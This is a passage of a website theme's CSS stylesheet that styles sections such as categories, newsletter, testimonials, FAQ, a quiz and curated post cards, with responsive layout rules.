z-index: 0;
}
.alo-category-media img {
width: 100%;
height: 100%;
object-fit: cover;
object-position: center;
display: block;
}
.alo-category:nth-child(1) {
background:
linear-gradient(180deg, rgba(31, 16, 10, 0.18), rgba(16, 24, 48, 0.88));
}
.alo-category:nth-child(2) {
background:
linear-gradient(180deg, rgba(31, 16, 10, 0.16), rgba(16, 24, 48, 0.88));
}
.alo-category:nth-child(3) {
background:
linear-gradient(180deg, rgba(31, 16, 10, 0.16), rgba(16, 24, 48, 0.9));
}
.alo-category:nth-child(4) {
background:
linear-gradient(180deg, rgba(31, 16, 10, 0.16), rgba(16, 24, 48, 0.88));
}
.alo-category:nth-child(5) {
background:
linear-gradient(180deg, rgba(31, 16, 10, 0.16), rgba(16, 24, 48, 0.88));
}
.alo-category:nth-child(6) {
background:
linear-gradient(180deg, rgba(31, 16, 10, 0.16), rgba(16, 24, 48, 0.9));
}
.alo-category:nth-child(7) {
background:
linear-gradient(180deg, rgba(31, 16, 10, 0.16), rgba(16, 24, 48, 0.88));
}
.alo-category:nth-child(8) {
background:
linear-gradient(180deg, rgba(31, 16, 10, 0.16), rgba(16, 24, 48, 0.9));
}
.alo-category-body {
position: relative;
z-index: 1;
display: grid;
align-content: end;
height: 100%;
}
.alo-category-top {
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: auto;
}
.alo-category-index {
display: inline-flex;
align-items: center;
justify-content: center;
width: 44px;
height: 44px;
border-radius: 50%;
border: 1px solid rgba(255, 255, 255, 0.18);
background: rgba(255, 255, 255, 0.08);
font-weight: 700;
}
.alo-category-count {
font-size: 0.9rem;
color: rgba(255, 244, 228, 0.8);
}
.alo-category-title {
margin: 30px 0 10px;
font-family: var(--alo-display);
font-size: 1.8rem;
line-height: 1;
letter-spacing: -0.04em;
max-width: 9ch;
}
.alo-category-copy {
color: rgba(255, 244, 228, 0.84);
line-height: 1.6;
}
.alo-parcours-card {
position: relative;
min-height: 0;
display: grid;
grid-template-columns: 1fr;
grid-template-rows: 176px auto;
align-items: stretch;
padding: 0;
border-radius: 30px;
overflow: hidden;
color: var(--alo-secondary);
background: rgba(255, 255, 255, 0.96);
border: 1px solid rgba(22, 35, 63, 0.1);
box-shadow: 0 24px 42px rgba(22, 35, 63, 0.1);
text-decoration: none;
transition: transform 170ms ease, border-color 170ms ease;
}
.alo-parcours-card:hover {
transform: translateY(-2px);
border-color: rgba(180, 75, 45, 0.32);
}
.alo-parcours-media {
min-height: 176px;
}
.alo-parcours-media .alo-fixed-image {
height: 176px;
min-height: 176px;
border-radius: 0;
}
.alo-parcours-copy {
padding: 14px;
display: grid;
gap: 8px;
align-content: start;
}
.alo-parcours-card .alo-category-count {
color: var(--alo-primary);
}
.alo-parcours-card .alo-category-title {
margin: 8px 0 4px;
font-family: var(--alo-display);
font-size: 1.35rem;
line-height: 1;
letter-spacing: -0.04em;
color: var(--alo-secondary);
max-width: none;
}
.alo-parcours-card .alo-category-copy {
margin: 0;
color: var(--alo-muted);
line-height: 1.44;
}
.alo-parcours-link {
margin-top: auto;
color: var(--alo-primary);
font-weight: 700;
}
.alo-newsletter {
padding: 64px 0;
}
.alo-newsletter-shell {
display: grid;
grid-template-columns: minmax(0, 1.08fr) minmax(320px, 0.92fr);
gap: 22px;
padding: 24px;
border-radius: 36px;
background:
linear-gradient(160deg, #172540 0%, #1f2f54 44%, #b44b2d 150%);
color: #fff3e6;
box-shadow: var(--alo-shadow);
}
.alo-newsletter-shell .alo-section-head h2 {
color: #fff3e6;
}
.alo-newsletter-copy {
color: rgba(255, 242, 229, 0.82);
}
.alo-newsletter-badges {
display: grid;
gap: 12px;
margin-top: 18px;
}
.alo-newsletter-badge {
padding: 12px 0;
border-top: 1px solid rgba(255, 255, 255, 0.16);
}
.alo-newsletter-badge strong {
display: block;
font-size: 1rem;
}
.alo-newsletter-form {
display: grid;
gap: 14px;
align-content: start;
padding: 20px;
border-radius: 28px;
background: rgba(255, 248, 237, 0.1);
border: 1px solid rgba(255, 255, 255, 0.14);
}
.alo-newsletter-label {
font-size: 0.88rem;
letter-spacing: 0.1em;
text-transform: uppercase;
color: rgba(255, 241, 223, 0.72);
}
.alo-newsletter-input {
width: 100%;
min-height: 52px;
padding: 0 18px;
border-radius: 18px;
border: 1px solid rgba(255, 255, 255, 0.2);
background: rgba(255, 255, 255, 0.12);
color: #fff7f0;
}
.alo-newsletter-input::placeholder {
color: rgba(255, 243, 230, 0.64);
}
.alo-newsletter-button {
min-height: 54px;
border: none;
border-radius: 999px;
background: #fff4e5;
color: #172540;
font-weight: 800;
cursor: pointer;
}
.alo-about {
padding: 64px 0;
background:
linear-gradient(180deg, rgba(22, 35, 63, 0.04), rgba(22, 35, 63, 0)),
var(--alo-bg);
}
.alo-about-grid {
display: grid;
grid-template-columns: minmax(320px, 0.85fr) minmax(0, 1.15fr);
gap: 26px;
}
.alo-about-sticky {
position: sticky;
top: 24px;
align-self: start;
display: grid;
gap: 14px;
}
.alo-about-visual {
border-radius: 34px;
overflow: hidden;
background:
linear-gradient(180deg, #f0d7b0 0%, #c57245 36%, #172540 100%);
box-shadow: var(--alo-shadow);
}
.alo-about-visual svg {
width: 100%;
height: auto;
display: block;
}
.alo-quote {
font-size: clamp(1.65rem, 2.4vw, 2.4rem);
line-height: 0.94;
max-width: 12ch;
}
.alo-quote-source {
color: var(--alo-primary);
font-weight: 700;
font-size: 0.92rem;
}
.alo-about-copy {
display: grid;
gap: 14px;
}
.alo-about-stat-grid {
display: grid;
grid-template-columns: repeat(3, minmax(0, 1fr));
gap: 14px;
margin-top: 8px;
}
.alo-about-stat {
padding: 20px;
border-radius: 24px;
background: rgba(255, 255, 255, 0.58);
border: 1px solid rgba(22, 35, 63, 0.08);
}
.alo-about-stat strong {
display: block;
font-family: var(--alo-display);
font-size: 2rem;
}
.alo-featured {
padding: 96px 0;
}
.alo-featured-shell {
display: grid;
grid-template-columns: minmax(0, 1.08fr) minmax(320px, 0.92fr);
gap: 18px;
}
.alo-post-main,
.alo-post-side {
border-radius: 34px;
overflow: hidden;
background: #fff8ee;
border: 1px solid rgba(22, 35, 63, 0.08);
}
.alo-post-main {
min-height: 560px;
display: grid;
grid-template-rows: minmax(280px, 1fr) auto;
}
.alo-post-media {
background:
radial-gradient(circle at top left, rgba(255, 255, 255, 0.42), transparent 26%),
linear-gradient(135deg, #e3b677 0%, #bc6238 48%, #182744 100%);
}
.alo-post-media.is-image {
background-size: cover;
background-position: center;
}
.alo-post-body {
display: grid;
gap: 12px;
padding: 24px;
}
.alo-post-meta {
color: var(--alo-primary);
text-transform: uppercase;
letter-spacing: 0.12em;
font-size: 0.76rem;
font-weight: 700;
}
.alo-post-title {
margin: 0;
font-family: var(--alo-display);
font-size: clamp(1.6rem, 3vw, 2.8rem);
line-height: 1;
}
.alo-post-side-list {
display: grid;
gap: 18px;
}
.alo-post-side {
display: grid;
grid-template-columns: 140px minmax(0, 1fr);
min-height: 170px;
}
.alo-post-side .alo-post-media {
min-height: 100%;
}
.alo-post-loading {
display: grid;
gap: 14px;
}
.alo-skeleton {
position: relative;
overflow: hidden;
background: linear-gradient(90deg, #efe2d0 0%, #f8efe4 50%, #efe2d0 100%);
background-size: 200% 100%;
animation: shimmer 1.8s linear infinite;
}
.alo-skeleton.large {
min-height: 280px;
border-radius: 24px;
}
.alo-skeleton.line {
height: 16px;
border-radius: 999px;
}
.alo-skeleton.line.short {
width: 62%;
}
.alo-trust {
padding: 64px 0;
background:
radial-gradient(circle at 85% 10%, rgba(180, 75, 45, 0.1), transparent 18%),
var(--alo-bg);
}
.alo-trust-marquee {
display: grid;
grid-template-columns: repeat(6, minmax(0, 1fr));
gap: 10px;
margin-bottom: 16px;
}
.alo-trust-pill {
padding: 14px 16px;
border-radius: 999px;
background: rgba(255, 255, 255, 0.56);
border: 1px solid rgba(22, 35, 63, 0.08);
text-align: center;
font-size: 0.92rem;
}
.alo-trust-grid {
display: grid;
grid-template-columns: repeat(3, minmax(0, 1fr));
gap: 18px;
}
.alo-trust-card {
min-height: 216px;
padding: 20px;
border-radius: 28px;
background: linear-gradient(180deg, rgba(255, 255, 255, 0.64), rgba(255, 255, 255, 0.9));
border: 1px solid rgba(22, 35, 63, 0.08);
}
.alo-trust-card strong {
display: block;
margin-bottom: 14px;
font-family: var(--alo-display);
font-size: 1.55rem;
line-height: 1;
}
.alo-testimonials {
padding: 64px 0;
color: #f5ecde;
background:
radial-gradient(circle at 14% 18%, rgba(214, 171, 98, 0.18), transparent 20%),
linear-gradient(135deg, #16233f 0%, #111a2d 40%, #2e1320 100%);
}
.alo-testimonials .alo-section-head h2 {
color: #fff2e3;
}
.alo-testimonials .alo-copy {
color: rgba(255, 244, 228, 0.74);
}
.alo-testimonial-grid {
display: grid;
grid-template-columns: repeat(3, minmax(0, 1fr));
gap: 18px;
}
.alo-testimonial {
padding: 20px;
border-radius: 30px;
background: rgba(255, 255, 255, 0.06);
border: 1px solid rgba(255, 255, 255, 0.1);
}
.alo-testimonial-quote {
margin: 0;
font-family: var(--alo-display);
font-size: 1.55rem;
line-height: 1.05;
}
.alo-testimonial-role {
margin-top: 18px;
color: rgba(255, 244, 228, 0.72);
}
.alo-faq {
padding: 64px 0;
}
.alo-faq-grid {
display: grid;
grid-template-columns: repeat(2, minmax(0, 1fr));
gap: 14px;
}
.alo-faq-item {
border-top: 1px solid var(--alo-line);
}
.alo-faq-item details {
padding: 16px 0;
}
.alo-faq-item summary {
list-style: none;
cursor: pointer;
font-weight: 700;
line-height: 1.45;
}
.alo-faq-item summary::-webkit-details-marker {
display: none;
}
.alo-faq-copy {
padding-top: 12px;
max-width: 42ch;
}
.alo-benefits {
padding: 64px 0;
background:
linear-gradient(180deg, rgba(214, 171, 98, 0.08), rgba(214, 171, 98, 0)),
var(--alo-bg);
}
.alo-benefit-list {
display: grid;
gap: 16px;
}
.alo-benefit {
display: grid;
grid-template-columns: minmax(0, 1fr) minmax(280px, 0.82fr);
gap: 16px;
align-items: stretch;
padding: 14px;
border-radius: 34px;
background: rgba(255, 255, 255, 0.56);
border: 1px solid rgba(22, 35, 63, 0.08);
}
.alo-benefit:nth-child(even) {
grid-template-columns: minmax(280px, 0.82fr) minmax(0, 1fr);
}
.alo-benefit:nth-child(even) .alo-benefit-copy-wrap {
order: 2;
}
.alo-benefit-visual {
position: relative;
min-height: 198px;
border-radius: 26px;
overflow: hidden;
background:
radial-gradient(circle at 22% 20%, rgba(255, 255, 255, 0.24), transparent 18%),
linear-gradient(135deg, #f1c57f 0%, #bd6b3c 52%, #16233f 100%);
}
.alo-benefit-visual img {
width: 100%;
height: 100%;
object-fit: cover;
}
.alo-benefit-copy-wrap {
display: grid;
align-content: center;
gap: 12px;
padding: 10px;
}
.alo-benefit-tag {
color: var(--alo-primary);
text-transform: uppercase;
letter-spacing: 0.14em;
font-size: 0.76rem;
font-weight: 800;
}
.alo-benefit-title {
margin: 0;
font-family: var(--alo-display);
font-size: clamp(1.65rem, 2.6vw, 2.4rem);
line-height: 0.96;
}
.alo-quiz {
padding: 64px 0 80px;
}
.alo-quiz-card {
display: grid;
gap: 16px;
min-height: min(470px, calc(100svh - 230px));
padding: 18px;
border-radius: 38px;
background:
linear-gradient(160deg, rgba(255, 249, 241, 0.98) 0%, rgba(243, 231, 216, 0.98) 100%);
border: 1px solid rgba(22, 35, 63, 0.08);
box-shadow: var(--alo-shadow);
}
.alo-quiz-progress {
display: flex;
align-items: center;
gap: 16px;
}
.alo-progress-track {
position: relative;
flex: 1;
height: 10px;
border-radius: 999px;
background: rgba(22, 35, 63, 0.08);
overflow: hidden;
}
.alo-progress-bar {
width: 0%;
height: 100%;
border-radius: inherit;
background: linear-gradient(90deg, var(--alo-primary) 0%, #d17f58 100%);
transition: width 260ms ease;
}
.alo-progress-text {
min-width: 84px;
text-align: right;
color: var(--alo-muted);
font-size: 0.94rem;
}
.alo-quiz-stage {
display: none;
}
.alo-quiz-stage.is-active {
display: grid;
}
.alo-quiz-intro {
grid-template-columns: minmax(0, 1.05fr) minmax(300px, 0.95fr);
gap: 22px;
align-items: stretch;
}
.alo-quiz-copy-panel {
display: grid;
align-content: start;
gap: 16px;
}
.alo-quiz-intro-visual {
position: relative;
min-height: 300px;
border-radius: 30px;
overflow: hidden;
background:
radial-gradient(circle at 18% 22%, rgba(255, 244, 226, 0.78), transparent 16%),
linear-gradient(135deg, #f1c57f 0%, #bd6b3c 52%, #16233f 100%);
}
.alo-quiz-intro-visual img {
width: 100%;
height: 100%;
object-fit: cover;
}
.alo-quiz-badges {
display: grid;
grid-template-columns: repeat(4, minmax(0, 1fr));
gap: 12px;
}
.alo-quiz-badge {
padding: 16px;
border-radius: 20px;
background: rgba(255, 255, 255, 0.7);
border: 1px solid rgba(22, 35, 63, 0.08);
}
.alo-quiz-badge strong {
display: block;
margin-bottom: 8px;
font-family: var(--alo-display);
font-size: 1.4rem;
line-height: 0.95;
}
.alo-quiz-badge span {
color: var(--alo-muted);
font-size: 0.94rem;
line-height: 1.5;
}
.alo-quiz-stage-head {
display: grid;
gap: 16px;
}
.alo-question-card {
display: grid;
gap: 16px;
}
.alo-question-eyebrow {
color: var(--alo-primary);
text-transform: uppercase;
letter-spacing: 0.14em;
font-size: 0.8rem;
font-weight: 800;
}
.alo-question-card h3 {
margin: 0;
font-family: var(--alo-display);
font-size: clamp(1.55rem, 2.4vw, 2.35rem);
line-height: 0.96;
max-width: 18ch;
}
.alo-options {
display: grid;
grid-template-columns: repeat(2, minmax(0, 1fr));
gap: 14px;
}
.alo-option {
display: grid;
gap: 8px;
min-height: 102px;
padding: 14px;
border-radius: 22px;
background: rgba(255, 255, 255, 0.7);
border: 1px solid rgba(22, 35, 63, 0.08);
text-align: left;
color: var(--alo-text);
cursor: pointer;
transition: transform 180ms ease, border-color 180ms ease, background 180ms ease;
}
.alo-option:hover:not(:disabled) {
transform: translateY(-2px);
border-color: rgba(180, 75, 45, 0.3);
}
.alo-option-index {
display: inline-flex;
align-items: center;
justify-content: center;
width: 34px;
height: 34px;
border-radius: 50%;
background: rgba(180, 75, 45, 0.12);
color: var(--alo-primary);
font-size: 0.84rem;
font-weight: 800;
}
.alo-option-text {
font-size: 1rem;
line-height: 1.6;
}
.alo-option.is-right {
border-color: rgba(43, 91, 79, 0.34);
background: rgba(43, 91, 79, 0.12);
}
.alo-option:disabled {
cursor: default;
}
.alo-quiz-feedback {
min-height: 28px;
color: var(--alo-muted);
font-size: 0.96rem;
}
.alo-quiz-result {
grid-template-columns: minmax(0, 1fr) minmax(280px, 0.9fr);
gap: 24px;
align-items: stretch;
}
.alo-result-panel,
.alo-result-side {
padding: 28px;
border-radius: 30px;
background: rgba(255, 255, 255, 0.76);
border: 1px solid rgba(22, 35, 63, 0.08);
}
.alo-result-panel {
display: grid;
gap: 18px;
align-content: start;
}
.alo-result-side {
display: grid;
gap: 16px;
align-content: start;
background:
linear-gradient(180deg, rgba(255, 250, 243, 0.92), rgba(244, 233, 221, 0.96));
}
.alo-side-stamp {
display: inline-flex;
align-items: center;
justify-content: center;
width: 86px;
height: 86px;
border-radius: 50%;
background: var(--alo-primary-soft);
color: var(--alo-primary);
font-family: var(--alo-display);
font-size: 1.6rem;
}
.alo-result {
padding: 20px;
border-radius: 24px;
background: rgba(255, 255, 255, 0.76);
border: 1px solid rgba(22, 35, 63, 0.08);
}
.alo-result h3 {
margin: 0 0 8px;
font-family: var(--alo-display);
font-size: 2rem;
}
.alo-result strong {
color: var(--alo-primary);
}
.alo-checklist {
margin: 0;
padding-left: 18px;
color: var(--alo-muted);
line-height: 1.7;
}
.alo-result-actions {
display: flex;
flex-wrap: wrap;
gap: 12px;
}
.alo-button-dark {
background: var(--alo-secondary);
color: #fff5e9;
}
.alo-button-light {
background: rgba(255, 255, 255, 0.7);
color: var(--alo-secondary);
border-color: rgba(22, 35, 63, 0.14);
}
.alo-reveal {
opacity: 1;
transform: translateY(0);
}
html.alo-motion .alo-reveal {
opacity: 0;
transform: translateY(28px);
transition: opacity 700ms ease, transform 700ms ease;
}
html.alo-motion .alo-reveal.is-visible {
opacity: 1;
transform: translateY(0);
}
@keyframes shimmer {
0% {
background-position: 200% 0;
}
100% {
background-position: -200% 0;
}
}
@media (max-width: 1120px) {
.alo-hero-wrap,
.alo-metrics-grid,
.alo-newsletter-shell,
.alo-about-grid,
.alo-featured-shell {
grid-template-columns: 1fr;
}
.alo-quiz-intro,
.alo-quiz-result {
grid-template-columns: 1fr;
}
.alo-categories-grid,
.alo-trust-grid,
.alo-testimonial-grid,
.alo-quiz-badges {
grid-template-columns: repeat(2, minmax(0, 1fr));
}
.alo-trust-marquee {
grid-template-columns: repeat(3, minmax(0, 1fr));
}
.alo-about-sticky {
position: static;
}
.alo-hero-visual {
min-height: 520px;
}
}
@media (max-width: 800px) {
.alo-inner {
width: min(var(--alo-max), calc(100% - 28px));
}
.alo-section {
min-height: auto;
}
.alo-hero-wrap {
min-height: auto;
padding: 64px 0 34px;
}
.alo-hero-title {
max-width: 7.2ch;
font-size: clamp(4rem, 17vw, 6.4rem);
word-spacing: 0.16em;
}
.alo-hero-copy {
font-size: 0.98rem;
line-height: 1.58;
}
.alo-hero-stats,
.alo-about-stat-grid,
.alo-metric-list,
.alo-categories-grid,
.alo-trust-grid,
.alo-testimonial-grid,
.alo-faq-grid {
grid-template-columns: 1fr;
}
.alo-post-side,
.alo-benefit,
.alo-benefit:nth-child(even) {
grid-template-columns: 1fr;
}
.alo-benefit:nth-child(even) .alo-benefit-copy-wrap {
order: 0;
}
.alo-poster-strip,
.alo-trust-marquee,
.alo-options,
.alo-quiz-badges {
grid-template-columns: 1fr;
}
.alo-post-main {
min-height: auto;
}
.alo-quiz-card {
min-height: auto;
padding: 24px;
}
.alo-side-line {
display: grid;
gap: 6px;
}
.alo-trust-card,
.alo-latest-card,
.alo-category {
min-height: auto;
}
}
.alo-icon {
display: inline-flex;
align-items: center;
justify-content: center;
width: 2.5rem;
height: 2.5rem;
border-radius: 999px;
background: rgba(255, 255, 255, 0.18);
color: inherit;
flex: none;
}
.alo-icon svg {
width: 1.15rem;
height: 1.15rem;
stroke: currentColor;
fill: none;
stroke-width: 2;
stroke-linecap: round;
stroke-linejoin: round;
}
.alo-section-label {
display: inline-flex;
align-items: center;
gap: 10px;
margin: 0;
color: var(--alo-primary);
font-size: 0.82rem;
font-weight: 800;
letter-spacing: 0.16em;
text-transform: uppercase;
}
.alo-section-label .alo-icon {
width: 2.1rem;
height: 2.1rem;
background: var(--alo-primary-soft);
}
.alo-fixed-image {
position: relative;
overflow: hidden;
border-radius: 28px;
min-height: 100%;
background: linear-gradient(135deg, #f1c57f 0%, #bd6b3c 48%, #16233f 100%);
}
.alo-fixed-image.alo-placeholder {
background: linear-gradient(135deg, #d7dbe2 0%, #bcc3cd 100%);
}
.alo-fixed-image img {
width: 100%;
height: 100%;
object-fit: cover;
display: block;
}
.alo-fixed-image::after {
content: "";
position: absolute;
inset: 0;
background: linear-gradient(180deg, rgba(10, 19, 34, 0.04), rgba(10, 19, 34, 0.5));
pointer-events: none;
}
.alo-editorial-promise {
padding: 56px 0;
}
.alo-city-tempos {
padding: 56px 0;
background:
radial-gradient(circle at 82% 14%, rgba(22, 35, 63, 0.08), transparent 22%),
linear-gradient(180deg, rgba(255, 255, 255, 0.42), rgba(255, 255, 255, 0)),
var(--alo-bg);
}
.alo-tempo-grid {
display: grid;
grid-template-columns: repeat(3, minmax(0, 1fr));
gap: 18px;
}
.alo-tempo-card {
display: grid;
min-height: 64svh;
border-radius: 34px;
overflow: hidden;
color: #fff6ea;
background: #16233f;
box-shadow: var(--alo-shadow);
}
.alo-tempo-card .alo-fixed-image {
min-height: 64svh;
border-radius: 0;
}
.alo-tempo-copy {
position: absolute;
inset: auto 0 0 0;
z-index: 1;
display: grid;
gap: 14px;
padding: 28px;
background: linear-gradient(180deg, transparent 0%, rgba(10, 18, 32, 0.24) 14%, rgba(10, 18, 32, 0.92) 100%);
}
.alo-tempo-copy h3 {
margin: 0;
font-family: var(--alo-display);
font-size: 2.1rem;
line-height: 0.96;
}
.alo-tempo-copy p {
margin: 0;
color: rgba(255, 244, 228, 0.86);
line-height: 1.65;
}
.alo-tempo-meta {
display: inline-flex;
align-items: center;
gap: 10px;
color: rgba(255, 244, 228, 0.78);
font-size: 0.86rem;
letter-spacing: 0.12em;
text-transform: uppercase;
}
.alo-curated {
padding: 52px 0;
}
.alo-curated-grid {
display: grid;
grid-template-columns: minmax(0, 1fr) minmax(320px, 0.72fr);
gap: 12px;
align-items: start;
}
.alo-curated-side {
display: grid;
gap: 12px;
grid-template-columns: 1fr;
}
.alo-curated-item {
position: relative;
display: grid;
overflow: hidden;
border-radius: 32px;
background: #fff8ee;
border: 1px solid rgba(22, 35, 63, 0.08);
align-self: start;
color: inherit;
cursor: pointer;
text-decoration: none;
transition: transform 170ms ease, border-color 170ms ease;
}
.alo-curated-item:hover {
transform: translateY(-2px);
border-color: rgba(180, 75, 45, 0.32);
}
.alo-curated-lead-card {
min-height: 400px;
display: grid;
}
.alo-curated-lead-card.has-media {
grid-template-rows: 224px auto;
}
.alo-curated-lead-card .alo-fixed-image {
border-radius: 0;
}
.alo-curated-feature-card {
min-height: 154px;
display: grid;
align-content: stretch;
height: fit-content;
}
.alo-curated-feature-card.has-media {
grid-template-rows: 112px auto;
}
.alo-curated-feature-media {
min-height: 112px;
}
.alo-curated-feature-media .alo-fixed-image {
height: 112px;
border-radius: 0;
min-height: 112px;
}
.alo-curated-body {
display: grid;
gap: 8px;
padding: 16px;
}
.alo-curated-meta {
color: var(--alo-primary);
text-transform: uppercase;
letter-spacing: 0.12em;
font-size: 0.76rem;
font-weight: 800;
}
.alo-curated-title {
margin: 0;
font-family: var(--alo-display);
line-height: 0.98;
}
.alo-curated-lead-card .alo-curated-title {
font-size: clamp(1.95rem, 3vw, 3rem);
}
.alo-curated-deck {
margin: 0;
color: var(--alo-muted);
line-height: 1.52;
font-size: 0.95rem;
}
.alo-curated-feature-card .alo-curated-title {
font-size: 1.18rem;
}
.alo-curated-feature-card .alo-curated-deck {
display: none;
}
.alo-author {
padding: 56px 0;
background:
linear-gradient(180deg, rgba(22, 35, 63, 0.05), rgba(22, 35, 63, 0)),
var(--alo-bg);
}
.alo-author .alo-about-visual {
min-height: 430px;
}
.alo-author .alo-about-visual img {
width: 100%;
height: 100%;
object-fit: cover;
}
.alo-author-note {
display: grid;
gap: 12px;
padding: 14px;
border-radius: 26px;
background: rgba(255, 255, 255, 0.62);
border: 1px solid rgba(22, 35, 63, 0.08);
}
.alo-author-method {
display: grid;
gap: 8px;
margin-top: 0;
}
.alo-method-step {
display: grid;
grid-template-columns: auto minmax(0, 1fr);
gap: 10px;
align-items: start;
padding: 10px 0;
border-top: 1px solid rgba(22, 35, 63, 0.08);
}
.alo-method-step strong {
display: block;
margin-bottom: 6px;
color: var(--alo-secondary);
}
.alo-latest {
padding: 56px 0;
}
.alo-latest-grid {
display: grid;
grid-template-columns: repeat(4, minmax(0, 1fr));
gap: 16px;
}
.alo-latest-card {
display: grid;
min-height: 372px;
border-radius: 30px;
overflow: hidden;
background: #fff8ee;
border: 1px solid rgba(22, 35, 63, 0.08);
color: inherit;
text-decoration: none;
}
.alo-latest-card.has-media {
grid-template-rows: 188px auto;
}
.alo-latest-card .alo-fixed-image {
min-height: 188px;
border-radius: 0;
}
.alo-latest-card .alo-post-body {
align-content: start;
}
.alo-wp-categories {
padding: 52px 0;
color: #fff5ea;
background:
radial-gradient(circle at 14% 12%, rgba(214, 171, 98, 0.22), transparent 22%),
linear-gradient(140deg, #0f1830 0%, #172540 40%, #b44b2d 138%);
}
.alo-wp-categories .alo-section-head h2,
.alo-wp-categories .alo-copy,
.alo-wp-categories .alo-section-label {
color: #fff4e6;
}
.alo-wp-categories .alo-copy {
color: rgba(255, 244, 228, 0.82);
}
.alo-wp-shell {
display: grid;
grid-template-columns: minmax(300px, 0.86fr) minmax(0, 1.14fr);
gap: 14px;
align-items: stretch;
}
.alo-wp-visual {
min-height: 44svh;
box-shadow: var(--alo-shadow);
}
.alo-wp-visual-copy {
position: absolute;
inset: auto 0 0 0;
z-index: 1;
display: grid;
gap: 14px;
padding: 28px;
background: linear-gradient(180deg, transparent 0%, rgba(10, 18, 32, 0.18) 20%, rgba(10, 18, 32, 0.92) 100%);
}
.alo-wp-visual-copy h3 {
margin: 0;
font-family: var(--alo-display);
font-size: clamp(2rem, 3vw, 3rem);
line-height: 0.96;
}
.alo-wp-grid {
display: grid;
grid-template-columns: repeat(2, minmax(0, 1fr));
gap: 12px;
}
.alo-wp-card {
text-decoration: none;
color: inherit;
display: grid;
gap: 8px;
min-height: 144px;
padding: 16px;
border-radius: 28px;
background: rgba(255, 248, 237, 0.1);
border: 1px solid rgba(255, 255, 255, 0.12);
}
.alo-wp-card:nth-child(1),
.alo-wp-card:nth-child(5) {
grid-column: span 2;
}
.alo-wp-count {
display: inline-flex;
align-items: baseline;
gap: 8px;
font-family: var(--alo-display);
font-size: 2.1rem;
line-height: 0.92;
}
.alo-wp-name {
margin: 0;
font-family: var(--alo-display);
font-size: 1.35rem;
line-height: 0.98;
}
.alo-wp-card p {
margin: 0;
color: rgba(255, 244, 228, 0.82);
line-height: 1.5;
font-size: 0.95rem;
}
.alo-wp-link {
margin-top: auto;
color: #fff6ea;
font-weight: 700;
}
.alo-faq-outro {
display: grid;
grid-template-columns: minmax(0, 1.05fr) minmax(280px, 0.95fr);
gap: 16px;
margin-top: 18px;
padding: 18px;
border-radius: 30px;
background: rgba(255, 255, 255, 0.62);
border: 1px solid rgba(22, 35, 63, 0.08);
}
.alo-faq-outro h3 {
margin: 0 0 10px;
font-family: var(--alo-display);
font-size: clamp(2rem, 3vw, 2.8rem);
line-height: 0.98;
}
.alo-faq-outro .alo-button-row {
align-content: start;
}
.alo-newsletter-shell {
position: relative;
overflow: hidden;
}
.alo-newsletter-shell::after {
content: "";
position: absolute;
inset: 0;
background: linear-gradient(100deg, rgba(23, 37, 64, 0.06) 0%, rgba(23, 37, 64, 0) 40%, rgba(255, 255, 255, 0.04) 100%);
pointer-events: none;
}
.alo-promise-visual,
.alo-trust-visual {
min-height: 260px;
box-shadow: var(--alo-shadow);
}
.alo-promise-visual-copy,
.alo-trust-visual-copy,
.alo-benefit-visual-copy,
.alo-quiz-intro-visual-copy {
position: absolute;
inset: auto 0 0 0;
z-index: 1;
display: grid;
gap: 10px;
padding: 24px;
color: #fff5e9;
background: linear-gradient(180deg, transparent 0%, rgba(10, 18, 32, 0.18) 18%, rgba(10, 18, 32, 0.9) 100%);
}
.alo-promise-visual-copy h3,
.alo-trust-visual-copy h3,
.alo-benefit-visual-copy strong,
.alo-quiz-intro-visual-copy h3 {
margin: 0;
font-family: var(--alo-display);
line-height: 0.96;
}
.alo-promise-visual-copy h3,
.alo-trust-visual-copy h3,
.alo-quiz-intro-visual-copy h3 {
font-size: clamp(1.8rem, 3vw, 2.6rem);
}
.alo-benefit-visual-copy strong {
font-size: 1.45rem;
}
.alo-benefit-visual-copy span {
color: rgba(255, 244, 228, 0.82);
font-size: 0.82rem;
letter-spacing: 0.14em;
text-transform: uppercase;
}
.alo-trust-visual {
margin-bottom: 16px;
min-height: 96px;
max-height: 138px;
height: min(138px, 14svh);
}
.alo-trust-visual-copy h3 {
font-size: clamp(1.6rem, 2.5vw, 2.1rem);
}
.alo-trust-visual img {
height: 100%;
width: 100%;
object-fit: cover;
}
@media (max-width: 1120px) {
.alo-tempo-grid,
.alo-latest-grid,
.alo-curated-grid {
grid-template-columns: 1fr;
}
.alo-wp-shell,
.alo-faq-outro {
grid-template-columns: 1fr;
}
.alo-curated-lead-card {
min-height: 320px;
}
.alo-curated-lead-card.has-media {
grid-template-rows: 196px auto;
}
.alo-curated-feature-card {
min-height: 118px;
}
.alo-curated-feature-card.has-media {
grid-template-rows: 108px auto;
}
.alo-wp-grid {
grid-template-columns: repeat(2, minmax(0, 1fr));
}
.alo-parcours-media {
min-height: 160px;
}
}
@media (max-width: 800px) {
.alo-tempo-grid,
.alo-latest-grid,
.alo-wp-grid,
.alo-faq-outro {
grid-template-columns: repeat(2, minmax(0, 1fr));
}
.alo-section {
min-height: 100svh;
}
.alo-section.alo-benefits,
.alo-section.alo-trust,
.alo-section.alo-quiz {
min-height: auto;
height: auto;
max-height: none;
overflow: visible;
align-items: start;
}
.alo-curated-grid,
.alo-wp-shell {
grid-template-columns: 1fr;
}
.alo-curated-side {
grid-template-columns: 1fr;
}
.alo-curated-lead-card,
.alo-tempo-card,
.alo-wp-visual {
min-height: auto;
}
.alo-curated-lead-card {
grid-column: span 2;
}
.alo-curated-feature-card {
min-height: 96px;
border-radius: 24px;
}
.alo-curated-body {
padding: 12px;
gap: 6px;
}
.alo-curated-lead-card .alo-fixed-image {
min-height: 108px;
}
.alo-curated-lead-card.has-media {
grid-template-rows: 108px auto;
}
.alo-curated-feature-card.has-media {
grid-template-rows: 100px auto;
}
.alo-curated-feature-media,
.alo-curated-feature-media .alo-fixed-image {
min-height: 100px;
height: 100px;
}
.alo-curated-lead-card .alo-curated-title {
font-size: 1.34rem;
}
.alo-curated-feature-card .alo-curated-title {
font-size: 0.9rem;
line-height: 1.08;
}
.alo-curated-feature-card .alo-curated-meta {
font-size: 0.66rem;
}
.alo-curated-lead-card .alo-curated-deck,
.alo-curated-feature-card .alo-curated-deck,
.alo-latest-card .alo-post-excerpt,
.alo-wp-card p,
.alo-wp-link,
.alo-quote,
.alo-quote-source {
display: none;
}
.alo-tempo-card .alo-fixed-image,
.alo-wp-visual,
.alo-wp-visual .alo-fixed-image {
min-height: 60svh;
}
.alo-categories-grid,
.alo-latest-grid,
.alo-faq-grid,
